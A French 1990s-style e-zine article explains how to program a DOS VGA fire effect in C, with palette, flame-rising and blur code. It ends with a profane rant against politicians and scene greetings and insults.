for(index=0;index<256;index++)
{
r=index/4;
g=index/4;
b=index/4;
}
******************************

Bon nous allons reflechir … comment faire un effet de feu...moi la premiŠre
m‚thode qui m'est venu … l'id‚e ‚tait de faire des lignes qui partait du
bas de et de longueur all‚atoire, avec un effet de floue...Vous trouverez
l'executable(Test.exe) avec le zine...

Comme vous pourrez vous en aper‡evoir, ce n'est pas du tout un effet de feu,
alors je me suis dit....mais quesqu'il manque??? Et puis j'ai trouv‚, les
flames ne montent pas!!!! Donc il faut cr‚er une fonction qui commence par
le haut, et qui mettent les couleurs au dessus....

Donc finalement voici le code:
******************************************************************************
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <stdlib.h> //TOUTES LES BIBLIOTHEQUES DONT ON
#include <i86.h> //A BESOIN
#include <math.h>
#include <malloc.h>
#include <process.h>
#include <mem.h>

//FONCTION POUR GENERER UN NOMBRE ALEATOIRE
#define ALEA(n) (((float)rand() / (float)RAND_MAX)*(n))

unsigned char r,g,b;
//RED,GREEN,BLUE, POUR LA PALETTE
unsigned char *videomem = (unsigned char *)0xA0000000;
//POINTEUR SUR LA PALETTE VIDEO
int index;
int index2;
//DEUX INDEX DONT ON SE SERT SOUVENT DANS LE PROGRAMME
int couleur;
//COULEUR DU POINT APRES BLUR
unsigned int aleat;
//SERT POUR LES CHIFFRES ALEATOIRES...
unsigned char *buffer;
//BUFFER POUR L'IMAGE

//FONCTION POUR TRACER UN PIXEL
void pixel(unsigned int x,unsigned int y,unsigned char color)
{
buffer[x+320*y]=color;
}

//FONCTION POUR PALETTE
void set_palette(unsigned char color)
{
outp(0x3c6,0xFF);
outp(0x3c8,color);
outp(0x3c9,r);
outp(0x3c9,g);
outp(0x3c9,b);
}

//FONCTION POUR CHANGER MODE
void change_mode(unsigned char mode)
{
union REGS regs;
regs.x.ax=mode;
int86(0x10,®s,®s);
}

//AFFICHE LE BUFFER
void show_buffer()
{
memcpy((unsigned char *)videomem,(unsigned char *)buffer,63680);
}

//ATTEND L'ECRAN POUR AFFICHER
void wait_for_screen()
{
while(inp(0x3DA)&0x08);
while(!(inp(0x3DA)&0x08));
}

void main()
{

printf("Fire effect\n");
printf("Coded by SaTaNiK\n");

//ALLOUE DE LA MEMOIRE POUR LE BUFFER
buffer=(unsigned char *)malloc(64000);
if(buffer==NULL)
{
printf("Pas assez de mémoire...\n");
exit(1);
}
//REMPLIT LE BUFFER DE 0
memset(buffer,0,64000);
getch();

//PASSE EN MODE GRAPHIQUE
change_mode(0x13);

//FAIT UNE PALETTE EN NOIR ET BLANC
for(index=0;index<256;index++)
{
r=index/4;
g=index/4;
b=index/4;
set_palette(index);
}

//BOUCLE TANT QUE PAS DE TOUCHE APPUYE
while(!kbhit())
{
//REMPLIE LA LIGNE DU BAS DE 0
memset(buffer+(320*199),0,320);

//MET 50 POINTS AU HASARD DANS LA LIGNE DU BAS
//VOUS POUVEZ AUGMENTEZ CECI POUR DE PLUS GRANDES FLAMMES
for(index=0;index<50;index++)
{
aleat=ALEA(320);
pixel(aleat,199,255);
}

//FAIT MONTER LES FLAMMES
for(index=0;index<199;index++)
{
for(index2=0;index2<320;index2++)
{
couleur=(buffer[index2+((index+1)*320)]);
pixel(index2,index,couleur);
}
}

//FAIT UN BLUR
for(index=198;index>0;index--)
{
for(index2=0;index2<320;index2++)
{
//FAIT LA MOYENNE DE CE QUI ENTOURE LE PIXEL
couleur=(buffer[((index)*320)+index2-1] + buffer[((index)*320)+index2+1] + buffer[((index+1)*320)+index2] + buffer[((index-1)*320)+index2])/4;
pixel(index2,index,(unsigned char)couleur);
}
}
//ATTEND L'ECRAN
wait_for_screen();
//AFFICHE LE BUFFER
show_buffer();
}
//REMET L'ECRAN EN MODE TEXTE
change_mode(0x03);
}
******************************************************************************

Si vous regardez bien le code, je ne copie pas la derniŠre ligne car elle est
trop Blanche par rapport aux autres lignes.....donc je la laisse noir et
on n'y voit que du feu(h‚h‚ jeu de mot d‚bile).

Bon voyons maintenant les moyens d'optimiser ce feu: on peut faire le truc
classique et faire une table pour les y, histoire d'‚viter un tas de
multiplication...ce qui acc‚l‚re nettement la chose:
******************************
for(index=0;index<200;index++)
{
tabley[index]=y*320;
}
******************************

Bon sinon on pourrait essayer d'optimiser en asm....si qqun veut essayer et
arrive … de bons resultats je publie son oeuvre ;). Sinon je le ferais moi
mˆmme :).

Sinon je met la version executable avec le zine(fire.exe). Ha je met
aussi ma version personelle, c'est quasiment le mˆmme code que plus haut
mais optimis‚ et pour mode prot‚g‚(Dos4gw)...et pis on y voit aussi des
cubes qui brulent...(Perso.exe)

<SaTaNiK>

******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************


********
"Epilogue"
********

Putain de politiciens, ils m'enervent de plus en plus, je dis pas
‡a seulement pour Le-Pen, car je pense(et je suis sur) que tout les
politiciens sont des SALAUDS!!!!! J'dis ‡a parce que … voir comment
ils se battent aux elections et ce qu'ils foutent une fois elu ‡a
m'enerve!!!!!!! Rha je vous emmerde tous les ptits politicards … la
con!!!! Bon voil… c'‚tait un ptit coup de gueule ;)). Bein sinon l… c'est
la rentr‚e alors je vais voir si j'ai le temps de continuer le mag :).

GrEeTiNgS:
-French scene
-#pirate(le dernier channel hack pas trop naze ;))
-SqUaB
-Lagoon
-Hurr|cane
-Prezz
-#nOpast
-Psykaos(il a reussi … m'expliquer ce qu'‚tais le log que j'ai publi‚ dans 1)
-Tout ceux qui se bougent le cul!!!!!!
-Stage9 MusicDisk(que j'ecoute en ‚crivant, l'est bein chouette)

FuCk HaRd:
-#warezfrancais(h‚h‚ j'suis bannit pour flood ;))
-Le warez en g‚n‚ral
-Les Mp3z(mais c du warez non?)
-MiCrOsUcK
-Bond007(toi le petit con!!!)
-Politiciens … la con(tous en fait...)

Billou Le SaTaNiK

http://members.xoom.com/SaTaNoS/

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT